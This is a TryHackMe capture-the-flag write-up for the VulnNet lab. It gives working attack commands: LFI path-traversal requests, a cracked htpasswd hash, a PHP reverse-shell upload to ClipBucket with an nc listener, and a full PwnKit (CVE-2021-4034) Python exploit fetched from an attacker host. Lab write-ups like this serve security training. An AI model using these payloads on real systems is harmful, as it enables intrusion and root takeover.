TryHackMe - VulnNet Writeup

Platform: TryHackMe
Difficulty: Medium

Reconnaissance

Nmap

nmap -sC -sV -A MACHINE-IP -oA nmap

Starting Nmap 7.98 at 2026-06-12 06:47 -0400
Nmap scan report for 10.49.133.153
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: VulnNet
|_http-server-header: Apache/2.4.29 (Ubuntu)

The attack surface here is intentionally minimal - only two ports are open.

No SMB, no AD, no WinRM. Everything is going to happen through the web. The machine hint also tells us to add vulnnet.thm to /etc/hosts, which signals that virtual host routing is in play.

echo "MACHINE-IP vulnnet.thm" >> /etc/hosts

Web Directory Brute Force

ffuf -u http://MACHINE-IP/FUZZ -w /usr/share/wordlists/dirb/big.txt -ac -e php,html,txt,py,js

css                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 79ms]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 78ms]
img                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 84ms]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 101ms]

Nothing immediately exploitable - just static asset directories. At this point, the two Webpack-bundled JavaScript files in /js/ stood out: index__7ed54732.js and index__d8338055.js. Bundled JS files often have hardcoded paths or configuration baked in, so they're worth reading even if they look like minified noise.

LFI Discovery via JavaScript Source

curl http://vulnnet.thm/js/index__d8338055.js

!function(e,t){...}
...n.p="http://vulnnet.thm/index.php?referer=",n(n.s=0)}
...

Buried in the bundle is the string n.p="http://vulnnet.thm/index.php?referer=". The referer parameter is being used as a base path — a classic sign of a file inclusion sink. Testing it with a path traversal payload:

curl "http://vulnnet.thm/index.php?referer=..//etc/passwd" | grep bash

root:x:0:0:root:/root:/bin/bash
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash

/etc/passwd comes back inline with the page HTML - Local File Inclusion confirmed. Two shell users are visible: root and server-management. RFI was attempted but did not work. The focus shifted to reading Apache configuration files, which often reveal credentials, virtual hosts, and internal paths.

Reading Apache Config via LFI

Fetching the virtual host config:

curl "http://vulnnet.thm/index.php?referer=..//etc/apache2/sites-enabled/000-default.conf"

<VirtualHost *:80>
    ServerName vulnnet.thm
    DocumentRoot /var/www/main
    ...
</VirtualHost>
<VirtualHost *:80>
    ServerName broadcast.vulnnet.thm
    DocumentRoot /var/www/html
    ...
    AuthType Basic
    AuthName "Restricted Content"
    AuthUserFile /etc/apache2/.htpasswd
    Require valid-user
    ...
</VirtualHost>

Two virtual hosts: vulnnet.thm and broadcast.vulnnet.thm. The broadcast vhost is protected by HTTP Basic Auth and the credential file path is explicitly listed as /etc/apache2/.htpasswd. That's our next read target.

curl "http://vulnnet.thm/index.php?referer=..//etc/apache2/.htpasswd"

developers:\(apr1\)ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

Cracking the htpasswd Hash

The hash is Apache MD5 (\(apr1\)). Save it to hash.txt and crack with john:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) \(1\) (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads

[REDACTED]          (?)
1g 0:00:00:08 DONE (2026-06-12 07:19) 0.1149g/s 248408p/s 248408c/s 248408C/s
Session completed.

Password cracked: [REDACTED]

Virtual Host Enumeration

The Apache config already revealed broadcast.vulnnet.thm, but a vhost fuzz independently confirms it and rules out other subdomains:

ffuf -u http://vulnnet.thm -H "HOST: FUZZ.vulnnet.thm" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

whm       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4566ms]
mail      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4563ms]
vpn       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4564ms]
broadcast [Status: 401, Size: 468, Words: 42, Lines: 15, Duration: 96ms]

The empty 200s (whm, mail, vpn) are wildcard DNS noise — every non-existent subdomain resolves to the same IP and returns a blank page. broadcast is the only one that returns a 401, meaning the server actually routes it to a real vhost with Basic Auth configured. That's the one we want.

echo "MACHINE-IP broadcast.vulnnet.thm" >> /etc/hosts

Visiting http://broadcast.vulnnet.thm, authenticating with developers:[REDACTED], reveals a ClipBucket video-sharing platform.

Initial Access - ClipBucket Arbitrary File Upload (EDB-44250)

Logging into ClipBucket with the same credentials didn't work, and directory brute forcing the vhost returned nothing. The page source reveals the ClipBucket version as v4.0. Checking exploitdb:

searchsploit clipbucket

ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection | php/webapps/44250.txt
ClipBucket 2.8.3 - Remote Code Execution                                            | php/webapps/42954.py
ClipBucket - 'beats_uploader' Arbitrary File Upload (Metasploit)                    | php/webapps/44346.rb
...

EDB-44250 covers ClipBucket < 4.0.0 Release 4902, which has unauthenticated arbitrary file upload via /actions/beats_uploader.php and /actions/photo_uploader.php. These endpoints only need the HTTP Basic Auth credentials for the vhost — no ClipBucket account required.

Generate a PHP reverse shell (pentestmonkey) from revshells.com, save as file.php.

First attempt with photo_uploader.php:

curl -i -F "file=@file.php" -F "plupload=1" -F "name=file.php" \
  http://broadcast.vulnnet.thm/actions/photo_uploader.php \
  -u developers:[REDACTED]

HTTP/1.1 200 OK
...

Returns 200 but no file path in the response — can't trigger it without knowing where it landed. Switching to beats_uploader.php:

curl -i -F "file=@file.php" -F "plupload=1" -F "name=file.php" \
  http://broadcast.vulnnet.thm/actions/beats_uploader.php \
  -u developers:[REDACTED]

HTTP/1.1 200 OK
Date: Fri, 12 Jun 2026 14:44:49 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8

{"success":"yes","file_name":"178127548930eb54","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"}

Upload confirmed. The response returns the exact filename and directory. Start a listener and trigger the shell:

nc -lvnp 4444

curl http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/178127548930eb54.php \
  -u developers:[REDACTED]

Shell received:

www-data@vulnnet:/$ whoami
www-data
www-data@vulnnet:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation - CVE-2021-4034 (PwnKit)

First thing after landing — check SUID binaries and the OS version:

find / -perm -4000 2>/dev/null

/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/lib/openssh/ssh-keysign
...

pkexec is SUID. Checking the OS:

uname -a

Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 GNU/Linux

apt-cache policy policykit-1

policykit-1:
  Installed: 0.105-20
  Candidate: 0.105-20ubuntu0.18.04.5
  Version table:
     0.105-20ubuntu0.18.04.5 500
        500 http://security.ubuntu.com/ubuntu bionic-security/main amd64 Packages
 *** 0.105-20 500
        500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages

Installed policykit-1 is 0.105-20 — the unpatched version. The candidate (0.105-20ubuntu0.18.04.5) contains the fix for CVE-2021-4034 (PwnKit). The CVE exploits a memory corruption issue in how pkexec handles its argument vector at startup — the authentication prompt is never reached. Running pkexec id interactively fails with an auth prompt, but that's irrelevant to the exploit path.

www-data@vulnnet:/$ pkexec id
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/bin/id' as the super user
Authenticating as: root
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===

That failing is expected. Two exploit options:

Option A — Python PoC (self-contained, no compilation needed):

This script bundles the exploit payload as base64 and constructs everything it needs at runtime — no make, no compiler required on the target.

#!/usr/bin/env python3

# CVE-2021-4034 in Python
# Joe Ammond (joe@ammond.org)
# Cribbed from blasty's original C code: https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload: base64-encoded ELF shared object generated with:
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
# PrependSetuid=true is critical — without it you get a shell as the current user, not root.

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Environment passed to execve() — sets up GCONV_PATH trick
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Load libc to call execve() directly
# Python's os.execve() requires arguments, so we bypass it via ctypes
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Write the shared library payload to disk
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# Create GCONV_PATH=. directory (part of the env variable trick)
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Drop empty exploit binary into GCONV_PATH=.
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create gconv-modules config pointing to our payload
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n')
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert environment to char* array
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL argv — this is the core of the vulnerability
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

Save as CVE-2021-4034.py, host it, and pull it onto the target.

Option B — C-based exploit:

# On attack box
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
python3 -m http.server 80

Transfer and execute on the target:

www-data@vulnnet:/$ cd /tmp
www-data@vulnnet:/tmp$ wget http://YOUR-IP/CVE-2021-4034.py

--2026-06-13 06:02:56--  http://YOUR-IP/CVE-2021-4034.py
Connecting to YOUR-IP:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3262 (3.2K) [text/x-python]
Saving to: 'CVE-2021-4034.py'

CVE-2021-4034.py    100<a class="embed-card" href="================&gt;">================&gt;</a>   3.19K  --.-KB/s    in 0.02s

www-data@vulnnet:/tmp$ python3 CVE-2021-4034.py

[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root

Root shell obtained.

# cat /home/server-management/user.txt
THM{REDACTED}

# cat /root/root.txt
THM{REDACTED}

Summary

Tools Used

Key Vulnerabilities

Attack Chain

JS bundle → hardcoded ?referer= path → LFI confirmed
→ LFI: /etc/apache2/sites-enabled/000-default.conf → broadcast.vulnnet.thm + .htpasswd path
→ LFI: /etc/apache2/.htpasswd → developers hash
→ john → developers password cracked
→ vhost fuzz → broadcast.vulnnet.thm (401 Basic Auth, real vhost)
→ ClipBucket EDB-44250 beats_uploader.php → PHP shell upload (path returned in response)
→ curl CB_BEATS_UPLOAD_DIR/shell.php → www-data shell
→ CVE-2021-4034 PwnKit → root